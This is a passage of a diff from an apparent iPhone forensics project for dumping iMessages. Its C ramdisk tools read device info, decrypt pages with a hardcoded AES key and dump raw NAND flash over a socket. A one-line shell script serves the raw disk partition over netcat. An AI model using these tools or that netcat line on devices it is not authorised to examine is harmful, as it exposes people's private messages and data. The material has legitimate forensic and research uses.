CFMutableDictionaryRef out = device_info(-1, NULL);
|
||||
|
||||
if (out == NULL)
|
||||
{
|
||||
fprintf(stderr, "device_info(-1, NULL) failed\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (argc > 1 )
|
||||
{
|
||||
CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, argv[1], kCFStringEncodingASCII);
|
||||
CFTypeRef value = CFDictionaryGetValue(out, key);
|
||||
if (value != NULL)
|
||||
{
|
||||
*stderr = *stdout;//HAX
|
||||
CFShow(value);
|
||||
}
|
||||
else
|
||||
fprintf(stderr, "key %s not found\n", argv[1]);
|
||||
CFRelease(key);
|
||||
CFRelease(out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
writePlistToStdout(out);
|
||||
/*CFStringRef plistFileName = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("%@.plist"), CFDictionaryGetValue(out, CFSTR("dataVolumeUUID")));
|
||||
|
||||
CFStringRef printString = CFStringCreateWithFormat(kCFAllocatorDefault, NULL, CFSTR("Writing results to %@\n"), plistFileName);
|
||||
CFShow(printString);
|
||||
CFRelease(printString);
|
||||
|
||||
saveResults(plistFileName, out);
|
||||
CFRelease(plistFileName);*/
|
||||
CFRelease(out);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/bin/sh
|
||||
|
||||
cat /dev/rdisk0s2s1 | netcat -l -p 1234
|
||||
72
dump-imessages/iphone-dataprotection/ramdisk_tools/image.c
Normal file
72
dump-imessages/iphone-dataprotection/ramdisk_tools/image.c
Normal file
@@ -0,0 +1,72 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <CoreGraphics/CoreGraphics.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int screenWidth, screenHeight;
|
||||
CGContextRef context = NULL;
|
||||
|
||||
CGContextRef fb_open() {
|
||||
io_connect_t conn = NULL;
|
||||
int bytesPerRow;
|
||||
void *surfaceBuffer;
|
||||
void *frameBuffer;
|
||||
CGColorSpaceRef colorSpace;
|
||||
|
||||
if (context != NULL)
|
||||
return context;
|
||||
|
||||
io_service_t fb_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleCLCD"));
|
||||
if (!fb_service) {
|
||||
fb_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleM2CLCD"));
|
||||
if (!fb_service) {
|
||||
printf("Couldn't find framebuffer.\n");
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
IOMobileFramebufferOpen(fb_service, mach_task_self(), 0, &conn);
|
||||
IOMobileFramebufferGetLayerDefaultSurface(conn, 0, &surfaceBuffer);
|
||||
|
||||
screenHeight = CoreSurfaceBufferGetHeight(surfaceBuffer);
|
||||
screenWidth = CoreSurfaceBufferGetWidth(surfaceBuffer);
|
||||
bytesPerRow = CoreSurfaceBufferGetBytesPerRow(surfaceBuffer);
|
||||
|
||||
CoreSurfaceBufferLock(surfaceBuffer, 3);
|
||||
frameBuffer = CoreSurfaceBufferGetBaseAddress(surfaceBuffer);
|
||||
CoreSurfaceBufferUnlock(surfaceBuffer);
|
||||
|
||||
// create bitmap context
|
||||
colorSpace = CGColorSpaceCreateDeviceRGB();
|
||||
context = CGBitmapContextCreate(frameBuffer, screenWidth, screenHeight, 8, bytesPerRow, colorSpace, kCGImageAlphaPremultipliedLast);
|
||||
if(context == NULL) {
|
||||
printf("Couldn't create screen context!\n");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
CGColorSpaceRelease(colorSpace);
|
||||
|
||||
return context;
|
||||
}
|
||||
|
||||
int drawImage(const char* pngFileName)
|
||||
{
|
||||
CGContextRef c = fb_open();
|
||||
if (c == NULL)
|
||||
return -1;
|
||||
|
||||
CFURLRef url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, pngFileName, strlen(pngFileName), 0);
|
||||
void* imageSource = CGImageSourceCreateWithURL(url, NULL);
|
||||
CFRelease(url);
|
||||
|
||||
if (imageSource != NULL)
|
||||
{
|
||||
CGImageRef img = CGImageSourceCreateImageAtIndex(imageSource, 0, NULL);
|
||||
if (img != NULL)
|
||||
{
|
||||
CGContextClearRect (c, CGRectMake(0, 0, screenWidth, screenHeight));
|
||||
CGContextDrawImage(c, CGRectMake(0, 0, screenWidth, screenHeight), img);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
int drawImage(const char* pngFileName);
|
||||
@@ -0,0 +1,556 @@
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/mount.h>
|
||||
#include <fcntl.h>
|
||||
#include <time.h>
|
||||
#include <unistd.h>
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
#include <CommonCrypto/CommonCryptor.h>
|
||||
#include <IOKit/IOKitLib.h>
|
||||
#include "ioflash.h"
|
||||
|
||||
/**
|
||||
used to decrypt special pages when checking if the physical banks parameter is correct
|
||||
when reading/dumping pages are not decrypted
|
||||
**/
|
||||
uint8_t META_KEY[16] = {0x92, 0xa7, 0x42, 0xab, 0x08, 0xc9, 0x69, 0xbf, 0x00, 0x6c, 0x94, 0x12, 0xd3, 0xcc, 0x79, 0xa5};
|
||||
//uint8_t FILESYSTEM_KEY[16] = {0xf6, 0x5d, 0xae, 0x95, 0x0e, 0x90, 0x6c, 0x42, 0xb2, 0x54, 0xcc, 0x58, 0xfc, 0x78, 0xee, 0xce};
|
||||
|
||||
|
||||
uint32_t gDeviceReadID = 0;
|
||||
uint32_t gCECount = 0;
|
||||
uint32_t gBlocksPerCE = 0;
|
||||
uint32_t gPagesPerBlock = 0;
|
||||
uint32_t gBytesPerPage = 0;
|
||||
uint32_t gBytesPerSpare = 0;
|
||||
uint32_t gBootloaderBytes = 0;
|
||||
uint32_t gIsBootFromNand = 0;
|
||||
uint32_t gPagesPerCE = 0;
|
||||
uint32_t gTotalBlocks = 0;
|
||||
uint32_t metaPerLogicalPage = 0;
|
||||
uint32_t validmetaPerLogicalPage = 0;
|
||||
uint32_t banksPerCE = 0;
|
||||
uint32_t use_4k_aes_chain = 0;
|
||||
uint32_t gFSStartBlock= 0;
|
||||
uint32_t gDumpPageSize = 0;
|
||||
uint32_t gPPNdevice = 0;
|
||||
uint32_t banksPerCEphysical = 1;
|
||||
uint32_t bank_address_space = 0;
|
||||
uint32_t blocks_per_bank = 0;
|
||||
|
||||
//from ioflashstoragetool
|
||||
io_service_t fsdService = 0;
|
||||
io_connect_t fsdConnection = 0;
|
||||
|
||||
|
||||
CFMutableDictionaryRef MakeOneStringProp(CFStringRef key, CFStringRef value)
|
||||
{
|
||||
CFMutableDictionaryRef dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
CFDictionarySetValue(dict, key, value);
|
||||
return dict;
|
||||
}
|
||||
|
||||
io_service_t _wait_for_io_service_matching_dict(CFDictionaryRef matching)
|
||||
{
|
||||
io_service_t service = 0;
|
||||
/* while(!service) {
|
||||
*/CFRetain(matching);
|
||||
service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
|
||||
//if(service) break;
|
||||
/*sleep(1);
|
||||
//CFRelease(matching);
|
||||
}
|
||||
CFRelease(matching);*/
|
||||
return service;
|
||||
}
|
||||
|
||||
|
||||
int FSDConnect(const char* name)
|
||||
{
|
||||
CFMutableDictionaryRef matching;
|
||||
|
||||
matching = IOServiceMatching(name);
|
||||
|
||||
fsdService = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
|
||||
|
||||
IOServiceOpen(fsdService, mach_task_self(), 0, &fsdConnection);
|
||||
|
||||
return fsdConnection != 0;
|
||||
}
|
||||
|
||||
int FSDGetPropertyForKey(io_object_t obj, CFStringRef name, void* out, uint32_t outLen, CFMutableDictionaryRef dict)
|
||||
{
|
||||
CFTypeRef data = IORegistryEntryCreateCFProperty(obj, name, kCFAllocatorDefault, 0);
|
||||
|
||||
if (!data)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
if (dict != NULL)
|
||||
{
|
||||
CFDictionaryAddValue(dict, name, data);
|
||||
}
|
||||
if (out == NULL)
|
||||
return 0;
|
||||
if(CFGetTypeID(data) == CFNumberGetTypeID())
|
||||
{
|
||||
CFNumberGetValue((CFNumberRef)data, kCFNumberIntType, out);
|
||||
return 1;
|
||||
}
|
||||
else if(CFGetTypeID(data) == CFDataGetTypeID())
|
||||
{
|
||||
CFIndex dataLen = CFDataGetLength(data);
|
||||
CFDataGetBytes(data, CFRangeMake(0,dataLen < outLen ? dataLen : outLen), out);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
IOReturn FSDReadPageHelper(struct kIOFlashControllerReadPageIn* in, struct kIOFlashControllerOut* out)
|
||||
{
|
||||
size_t outLen = sizeof(struct kIOFlashControllerOut);
|
||||
|
||||
IOConnectCallStructMethod(fsdConnection,
|
||||
kIOFlashControllerReadPage,
|
||||
in,
|
||||
sizeof(struct kIOFlashControllerReadPageIn),
|
||||
out,
|
||||
&outLen);
|
||||
// fprintf(stderr, "%x %x %x %x %x\n", in->page, in->ce, r, out->ret1, out->ret2);
|
||||
|
||||
return out->ret1;
|
||||
}
|
||||
|
||||
IOReturn FSDReadPageWithOptions(uint32_t ceNum,
|
||||
uint32_t pageNum,
|
||||
void* buffer,
|
||||
void* spareBuffer,
|
||||
uint32_t spareSize,
|
||||
uint32_t options,
|
||||
struct kIOFlashControllerOut* out
|
||||
)
|
||||
{
|
||||
struct kIOFlashControllerReadPageIn in;
|
||||
|
||||
in.page = pageNum;
|
||||
in.ce = ceNum;
|
||||
in.options = options;
|
||||
in.buffer = buffer;
|
||||
in.bufferSize = gBytesPerPage;
|
||||
in.spare = spareBuffer;
|
||||
in.spareSize = spareSize;
|
||||
return FSDReadPageHelper(&in, out);
|
||||
}
|
||||
|
||||
IOReturn FSDReadBootPage(uint32_t ceNum, uint32_t pageNum,uint32_t* buffer, struct kIOFlashControllerOut* out)
|
||||
{
|
||||
return FSDReadPageWithOptions(ceNum, pageNum, buffer, NULL, 0, kIOFlashStorageOptionBootPageIO, out);
|
||||
}
|
||||
|
||||
void findPartitionLocation(CFStringRef contentHint, CFMutableDictionaryRef dict)
|
||||
{
|
||||
const void* keys[2] = {CFSTR("Block Count"), CFSTR("Block Offset")};
|
||||
const void* values[2] = {NULL, NULL};
|
||||
|
||||
CFMutableDictionaryRef match = MakeOneStringProp(CFSTR("IOProviderClass"), CFSTR("IOFlashStoragePartition"));
|
||||
CFMutableDictionaryRef iopmatch = MakeOneStringProp(CFSTR("Content Hint"), contentHint);
|
||||
CFDictionarySetValue(match, CFSTR("IOPropertyMatch"), iopmatch);
|
||||
|
||||
CFRelease(iopmatch);
|
||||
|
||||
io_service_t service = _wait_for_io_service_matching_dict(match);
|
||||
if (service)
|
||||
{
|
||||
CFNumberRef blockCount = (CFNumberRef) IORegistryEntryCreateCFProperty(service, CFSTR("Block Count"), kCFAllocatorDefault, 0);
|
||||
CFNumberRef blockOffset = (CFNumberRef) IORegistryEntryCreateCFProperty(service, CFSTR("Block Offset"), kCFAllocatorDefault, 0);
|
||||
if (dict != NULL)
|
||||
{
|
||||
values[0] = (void*) blockCount;
|
||||
values[1] = (void*) blockOffset;
|
||||
CFDictionaryRef d = CFDictionaryCreate(kCFAllocatorDefault, keys, values, 2, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
if (d != NULL)
|
||||
CFDictionaryAddValue(dict, contentHint, d);
|
||||
}
|
||||
if( CFStringCompare(contentHint, CFSTR("Filesystem"), 0) == kCFCompareEqualTo)
|
||||
{
|
||||
CFNumberGetValue(blockOffset, kCFNumberIntType, &gFSStartBlock);
|
||||
}
|
||||
}
|
||||
CFRelease(match);
|
||||
}
|
||||
|
||||
|
||||
|
||||
//openiBoot/util.c
|
||||
uint32_t next_power_of_two(uint32_t n) {
|
||||
uint32_t val = 1 << (31 - __builtin_clz(n));
|
||||
|
||||
if (n % val)
|
||||
val *= 2;
|
||||
|
||||
return val;
|
||||
}
|
||||
|
||||
void generate_IV(unsigned long lbn, unsigned long *iv)
|
||||
{
|
||||
int i;
|
||||
for(i = 0; i < 4; i++)
|
||||
{
|
||||
if(lbn & 1)
|
||||
lbn = 0x80000061 ^ (lbn >> 1);
|
||||
else
|
||||
lbn = lbn >> 1;
|
||||
iv[i] = lbn;
|
||||
}
|
||||
}
|
||||
|
||||
void decrypt_page(uint8_t* data, uint32_t dataLength, uint8_t* key, uint32_t keyLength, uint32_t pn)
|
||||
{
|
||||
char iv[16];
|
||||
size_t dataOutMoved=dataLength;
|
||||
generate_IV(pn, (unsigned long*) iv);
|
||||
|
||||
CCCryptorStatus s = CCCrypt(kCCDecrypt,
|
||||
kCCAlgorithmAES128,
|
||||
0,
|
||||
(const void*) key,
|
||||
keyLength,
|
||||
(const void*) iv,
|
||||
(const void*) data,
|
||||
dataLength,
|
||||
(const void*) data,
|
||||
dataLength,
|
||||
&dataOutMoved);
|
||||
if (s != kCCSuccess)
|
||||
{
|
||||
fprintf(stderr, "decrypt_page: CCCrypt error %x\n", s);
|
||||
}
|
||||
}
|
||||
|
||||
void set_physical_banks(int n)
|
||||
{
|
||||
banksPerCEphysical = n;
|
||||
blocks_per_bank = gBlocksPerCE / banksPerCEphysical;
|
||||
|
||||
if((gBlocksPerCE & (gBlocksPerCE-1)) == 0)
|
||||
{
|
||||
// Already a power of two.
|
||||
bank_address_space = blocks_per_bank;
|
||||
//total_block_space = gBlocksPerCE;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Calculate the bank address space.
|
||||
bank_address_space = next_power_of_two(blocks_per_bank);
|
||||
//total_block_space = ((banksPerCEphysical-1)*bank_address_space) + blocks_per_bank;
|
||||
}
|
||||
}
|
||||
|
||||
//"bruteforce" the number of physical banks
|
||||
//except for PPN devices, DEVICEINFOBBT special pages should always be somewhere at the end
|
||||
void check_special_pages()
|
||||
{
|
||||
if(gPPNdevice)
|
||||
{
|
||||
fprintf(stderr, "PPN device, i don't know how to guess the number of physical banks, assuming 1\n");
|
||||
set_physical_banks(1);
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t i,x=1;
|
||||
uint32_t ok = 0;
|
||||
uint32_t bank, block, page;
|
||||
uint8_t* pageBuffer = (uint8_t*) valloc(gDumpPageSize);
|
||||
|
||||
printf("Searching for correct banksPerCEphysical value ...\n");
|
||||
|
||||
while(!ok && x < 10)
|
||||
{
|
||||
set_physical_banks(x);
|
||||
bank = banksPerCEphysical - 1;
|
||||
|
||||
for(block = blocks_per_bank-1; !ok && block > blocks_per_bank-10 ; block--)
|
||||
{
|
||||
page = (bank_address_space * bank + block) * gPagesPerBlock;
|
||||
|
||||
struct kIOFlashControllerOut *out = (&pageBuffer[gBytesPerPage + metaPerLogicalPage]);
|
||||
|
||||
for(i=0; i < gPagesPerBlock; i++)
|
||||
{
|
||||
if(FSDReadPageWithOptions(0, page + i, pageBuffer, &pageBuffer[gBytesPerPage], metaPerLogicalPage, 0, out))
|
||||
continue;
|
||||
|
||||
if(pageBuffer[gBytesPerPage] != 0xA5)
|
||||
continue;
|
||||
if(!memcmp(pageBuffer, "DEVICEINFOBBT", 13))
|
||||
{
|
||||
printf("Found cleartext DEVICEINFOBBT at block %d page %d with banksPerCEphyiscal=%d\n", blocks_per_bank*bank +block, i, banksPerCEphysical);
|
||||
ok = 1;
|
||||
break;
|
||||
}
|
||||
decrypt_page(pageBuffer, gBytesPerPage, META_KEY, kCCKeySizeAES128, page + i);
|
||||
if(!memcmp(pageBuffer, "DEVICEINFOBBT", 13))
|
||||
{
|
||||
printf("Found encrypted DEVICEINFOBBT at block %d page %d with banksPerCEphyiscal=%d\n", blocks_per_bank*bank +block, i, banksPerCEphysical);
|
||||
ok = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
x++;
|
||||
}
|
||||
if(!ok)
|
||||
{
|
||||
fprintf(stderr, "Couldnt guess the number of physical banks, exiting\n");
|
||||
exit(0);
|
||||
}
|
||||
free(pageBuffer);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//XXX dont read the NAND from this function as it can be called from multiple processes
|
||||
CFMutableDictionaryRef FSDGetInfo(int printInfo)
|
||||
{
|
||||
io_iterator_t iterator = 0;
|
||||
io_object_t obj = 0;
|
||||
|
||||
FSDConnect("IOFlashController");
|
||||
|
||||
if(IORegistryEntryCreateIterator(fsdService, "IOService",0, &iterator))
|
||||
return NULL;
|
||||
|
||||
obj = IOIteratorNext(iterator);
|
||||
if (!obj)
|
||||
return NULL;
|
||||
|
||||
CFMutableDictionaryRef dict = CFDictionaryCreateMutable (kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
|
||||
FSDGetPropertyForKey(obj, CFSTR("device-readid"), &gDeviceReadID, sizeof(gDeviceReadID), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("#ce"), &gCECount, sizeof(gCECount), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("#ce-blocks"), &gBlocksPerCE, sizeof(gBlocksPerCE), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("#block-pages"), &gPagesPerBlock, sizeof(gPagesPerBlock), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("#page-bytes"), &gBytesPerPage, sizeof(gBytesPerPage), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("#spare-bytes"), &gBytesPerSpare, sizeof(gBytesPerSpare), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("#bootloader-bytes"), &gBootloaderBytes, sizeof(gBootloaderBytes), dict);
|
||||
|
||||
FSDGetPropertyForKey(obj, CFSTR("metadata-whitening"), NULL, 0, dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("name"), NULL, 0, dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("is-bfn-partitioned"), NULL, 0, dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("bbt-format"), NULL, 0, dict);
|
||||
//FSDGetPropertyForKey(obj, CFSTR("channels"), NULL, 0, dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("vendor-type"), NULL, 0, dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("ppn-device"), &gPPNdevice, sizeof(gPPNdevice), dict);
|
||||
|
||||
|
||||
FSDGetPropertyForKey(obj, CFSTR("valid-meta-per-logical-page"), &validmetaPerLogicalPage, sizeof(gBytesPerSpare), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("meta-per-logical-page"), &metaPerLogicalPage, sizeof(gBytesPerSpare), dict);
|
||||
if (metaPerLogicalPage == 0)
|
||||
{
|
||||
metaPerLogicalPage = 12;//default value?
|
||||
}
|
||||
|
||||
//XXX: returns (possibly wrong) default value (1) when nand-disable-driver is set, use vendor-type + info from openiboot to get correct value : bank-per-ce VFL (!=physical banks)
|
||||
FSDGetPropertyForKey(obj, CFSTR("banks-per-ce"), &banksPerCE, sizeof(gBytesPerSpare), dict);
|
||||
FSDGetPropertyForKey(obj, CFSTR("use-4k-aes-chain"), &use_4k_aes_chain, sizeof(gBytesPerSpare), dict);
|
||||
|
||||
gPagesPerCE = gBlocksPerCE * gPagesPerBlock;
|
||||
gTotalBlocks = gCECount * gBlocksPerCE;
|
||||
|
||||
FSDGetPropertyForKey(obj, CFSTR("boot-from-nand"), &gIsBootFromNand, sizeof(gIsBootFromNand), dict);
|
||||
|
||||
CFMutableDictionaryRef dictPartitions = CFDictionaryCreateMutable (kCFAllocatorDefault, 0, &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);
|
||||
findPartitionLocation(CFSTR("Boot Block"), dictPartitions);
|
||||
findPartitionLocation(CFSTR("Effaceable"), dictPartitions);
|
||||
findPartitionLocation(CFSTR("NVRAM"), dictPartitions);
|
||||
findPartitionLocation(CFSTR("Firmware"), dictPartitions);
|
||||
findPartitionLocation(CFSTR("Filesystem"), dictPartitions);
|
||||
/*findPartitionLocation(CFSTR("Diagnostic Data"));
|
||||
findPartitionLocation(CFSTR("System Config"));
|
||||
findPartitionLocation(CFSTR("Bad Block Table"));*/
|
||||
//findPartitionLocation(CFSTR("Unpartitioned"));//never matches
|
||||
|
||||
CFDictionaryAddValue(dict, CFSTR("partitions"), dictPartitions);
|
||||
IOObjectRelease(obj);
|
||||
IOObjectRelease(iterator);
|
||||
|
||||
gDumpPageSize = gBytesPerPage + metaPerLogicalPage + sizeof(struct kIOFlashControllerOut);
|
||||
CFNumberRef n = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &gDumpPageSize);
|
||||
CFDictionarySetValue(dict, CFSTR("dumpedPageSize"), n);
|
||||
CFRelease(n);
|
||||
|
||||
if (printInfo)
|
||||
{
|
||||
uint64_t total_size = ((uint64_t)gBytesPerPage) * ((uint64_t) (gPagesPerBlock * gBlocksPerCE * gCECount));
|
||||
total_size /= 1024*1024*1024;
|
||||
fprintf(stderr, "NAND configuration: %uGiB (%d CEs of %d blocks of %d pages of %d bytes data, %d bytes spare\n",
|
||||
(uint32_t) total_size,
|
||||
gCECount,
|
||||
gBlocksPerCE,
|
||||
gPagesPerBlock,
|
||||
gBytesPerPage,
|
||||
gBytesPerSpare);
|
||||
}
|
||||
|
||||
set_physical_banks(1);
|
||||
return dict;
|
||||
}
|
||||
|
||||
CFDictionaryRef nand_dump(int fd)
|
||||
{
|
||||
uint64_t totalSize = (uint64_t)gPagesPerBlock * (uint64_t)gBlocksPerCE * (uint64_t)gCECount * (uint64_t)gDumpPageSize;
|
||||
write(fd, &totalSize, sizeof(uint64_t));
|
||||
|
||||
dump_nand_to_socket(fd);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int dump_nand_to_socket(int fd)
|
||||
{
|
||||
int ceNum=0,pageNum,bankNum;
|
||||
IOReturn r;
|
||||
uint64_t totalPages = gPagesPerBlock * gBlocksPerCE * gCECount;
|
||||
uint64_t validPages = 0;
|
||||
uint64_t blankPages = 0;
|
||||
uint64_t errorPages = 0;
|
||||
uint64_t otherPages = 0;
|
||||
uint64_t counter = 0;
|
||||
|
||||
//page data + spare metadata + kernel return values
|
||||
uint8_t* pageBuffer = (uint8_t*) valloc(gDumpPageSize);
|
||||
|
||||
if (pageBuffer == NULL)
|
||||
{
|
||||
fprintf(stderr, "valloc(%d) FAIL", gDumpPageSize);
|
||||
return 0;
|
||||
}
|
||||
struct kIOFlashControllerOut *out = (&pageBuffer[gBytesPerPage + metaPerLogicalPage]);
|
||||
|
||||
time_t start = time(NULL);
|
||||
|
||||
for(bankNum=0; bankNum < banksPerCEphysical; bankNum++)
|
||||
{
|
||||
uint32_t start_page = bank_address_space * bankNum * gPagesPerBlock;
|
||||
uint32_t end_page = start_page + gPagesPerBlock * blocks_per_bank;
|
||||
for(pageNum=start_page; pageNum < end_page; pageNum++)
|
||||
{
|
||||
for(ceNum=0; ceNum < gCECount; ceNum++)
|
||||
{
|
||||
uint32_t blockNum = pageNum / gPagesPerBlock;
|
||||
uint32_t boot = (blockNum < gFSStartBlock);
|
||||
|
||||
if(boot)
|
||||
r = FSDReadBootPage(ceNum, pageNum, pageBuffer, out);
|
||||
else
|
||||
r = FSDReadPageWithOptions(ceNum, pageNum, pageBuffer, &pageBuffer[gBytesPerPage], metaPerLogicalPage, 0, out);
|
||||
//r = FSDReadPageWithOptions(ceNum, pageNum, pageBuffer,NULL, 0, 0x100, out);
|
||||
|
||||
if(r == 0)
|
||||
{
|
||||
validPages++;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (r == kIOReturnBadMedia)
|
||||
{
|
||||
fprintf(stderr, "CE %x page %x : uncorrectable ECC error\n", ceNum, pageNum);
|
||||
errorPages++;
|
||||
}
|
||||
else if (r == kIOReturnUnformattedMedia)
|
||||
{
|
||||
memset(pageBuffer, 0xFF, gBytesPerPage + metaPerLogicalPage);
|
||||
blankPages++;
|
||||
}
|
||||
else if (r == 0xdeadbeef)
|
||||
{
|
||||
fprintf(stderr, "0xdeadbeef return code, something is wrong with injected kernel code\n");
|
||||
exit(0);
|
||||
}
|
||||
else if (r == kIOReturnBadArgument || r == kIOReturnNotPrivileged)
|
||||
{
|
||||
fprintf(stderr, "Error 0x%x (kIOReturnBadArgument/kIOReturnNotPrivileged)\n", r);
|
||||
exit(0);
|
||||
}
|
||||
else
|
||||
{
|
||||
fprintf(stderr, "CE %x page %x : unknown return code 0x%x\n", ceNum, pageNum, r);
|
||||
otherPages++;
|
||||
}
|
||||
}
|
||||
out->ret2 = 0;
|
||||
|
||||
if(write(fd, pageBuffer, gDumpPageSize) != gDumpPageSize)
|
||||
{
|
||||
pageNum = gPagesPerBlock * gBlocksPerCE;
|
||||
fprintf(stderr, "Abort dump\n");
|
||||
break;
|
||||
}
|
||||
if (ceNum == 0 && pageNum % gPagesPerBlock == 0)
|
||||
{
|
||||
fprintf(stderr, "Block %d/%d (%d%%)\n", (counter/gPagesPerBlock), gBlocksPerCE, (counter*100)/(gPagesPerBlock*gBlocksPerCE));
|
||||
}
|
||||
}
|
||||
counter++;
|
||||
}
|
||||
}
|
||||
if (ceNum == gCECount && pageNum == (gPagesPerBlock * gBlocksPerCE))
|
||||
{
|
||||
time_t duration = time(NULL) - start;
|
||||
fprintf(stderr, "Finished NAND dump in %lu hours %lu minutes %lu seconds\n", duration / 3600, (duration % 3600) / 60, (duration % 3600) % 60);
|
||||
fprintf(stderr, "Total pages %llu\n", totalPages);
|
||||
fprintf(stderr, "In-use pages %llu (%d%%)\n", validPages, (int) (validPages * 100 / totalPages));
|
||||
fprintf(stderr, "Blank pages %llu (%d%%)\n", blankPages, (int) (blankPages * 100 / totalPages));
|
||||
fprintf(stderr, "Error pages %llu (%d%%)\n", errorPages, (int) (errorPages * 100 / totalPages));
|
||||
fprintf(stderr, "Other pages %llu (%d%%)\n", otherPages, (int) (otherPages * 100 / totalPages));
|
||||
}
|
||||
free(pageBuffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int nand_proxy(int fd)
|
||||
{
|
||||
struct kIOFlashControllerOut out;
|
||||
proxy_read_cmd cmd;
|
||||
|
||||
uint8_t* pageBuffer = (uint8_t*) valloc(gBytesPerPage);
|
||||
if( pageBuffer == NULL)
|
||||
{
|
||||
fprintf(stderr, "pageBuffer = valloc(%d) failed\n", gBytesPerPage);
|
||||
return 0;
|
||||
}
|
||||
|
||||
while(1)
|
||||
{
|
||||
int z = read(fd, &cmd, sizeof(proxy_read_cmd));
|
||||
if (z != sizeof(proxy_read_cmd))
|
||||
break;
|
||||
|
||||
void* spareBuf = NULL;
|
||||
|
||||
uint32_t blockNum = cmd.page / gPagesPerBlock;
|
||||
uint32_t boot = (blockNum < gFSStartBlock);
|
||||
if(boot)
|
||||
{
|
||||
cmd.spareSize = 0;
|
||||
cmd.options |= kIOFlashStorageOptionBootPageIO;
|
||||
}
|
||||
else if (cmd.spareSize)
|
||||
{
|
||||
spareBuf = valloc(cmd.spareSize);
|
||||
}
|
||||
FSDReadPageWithOptions(cmd.ce, cmd.page, pageBuffer, spareBuf, cmd.spareSize, cmd.options, &out);
|
||||
|
||||
write(fd, pageBuffer, gBytesPerPage);
|
||||
if (spareBuf != NULL)
|
||||
{
|
||||
write(fd, spareBuf, cmd.spareSize);
|
||||
}
|
||||
write(fd, &out, sizeof(struct kIOFlashControllerOut));
|
||||
|
||||
if (spareBuf != NULL)
|
||||
{
|
||||
free(spareBuf);
|
||||
}
|
||||
}
|
||||
free(pageBuffer);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,118 @@
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
#define kIOFlashStorageOptionBootPageIO 0x100
|
||||
#define kIOFlashStorageOptionRawPageIO 0x002
|
||||
#define kIOFlashStorageOptionXXXX 0x004
|
||||
//0xC0 == kIOFlashStorageOptionUseAES | kIOFlashStorageOptionHomogenize
|
||||
|
||||
#define kIOFlashControllerReadPage 0x1
|
||||
#define kIOFlashControllerWritePage 0x2
|
||||
#define kIOFlashControllerDisableKeepout 0xa
|
||||
|
||||
|
||||
struct kIOFlashControllerReadPageIn;
|
||||
struct kIOFlashControllerOut;
|
||||
|
||||
//from ioflashstoragetool
|
||||
CFMutableDictionaryRef MakeOneStringProp(CFStringRef key, CFStringRef value);
|
||||
io_service_t _wait_for_io_service_matching_dict(CFDictionaryRef matching);
|
||||
int FSDConnect(const char* name);
|
||||
int FSDGetPropertyForKey(io_object_t obj, CFStringRef name, void* out, uint32_t outLen, CFMutableDictionaryRef dict);
|
||||
void findPartitionLocation(CFStringRef contentHint, CFMutableDictionaryRef dict);//findNvramLocation
|
||||
IOReturn FSDReadPageHelper(struct kIOFlashControllerReadPageIn* in, struct kIOFlashControllerOut* out);
|
||||
IOReturn FSDReadPageWithOptions(uint32_t ceNum, uint32_t pageNum, void* buffer, void* spareBuffer, uint32_t spareSize, uint32_t options, struct kIOFlashControllerOut* out);
|
||||
IOReturn FSDReadBootPage(uint32_t ceNum, uint32_t pageNum,uint32_t* buffer, struct kIOFlashControllerOut* out);
|
||||
|
||||
CFMutableDictionaryRef FSDGetInfo(int);
|
||||
int IOFlashStorage_kernel_patch();
|
||||
|
||||
CFDictionaryRef nand_dump(int fd);
|
||||
int dump_nand_to_socket(int fd);
|
||||
int nand_proxy(int fd);
|
||||
|
||||
struct kIOFlashControllerReadPageIn
|
||||
{
|
||||
uint32_t page;
|
||||
uint32_t ce;
|
||||
uint32_t options;
|
||||
void* buffer;
|
||||
uint32_t bufferSize;
|
||||
void* spare;
|
||||
uint32_t spareSize;
|
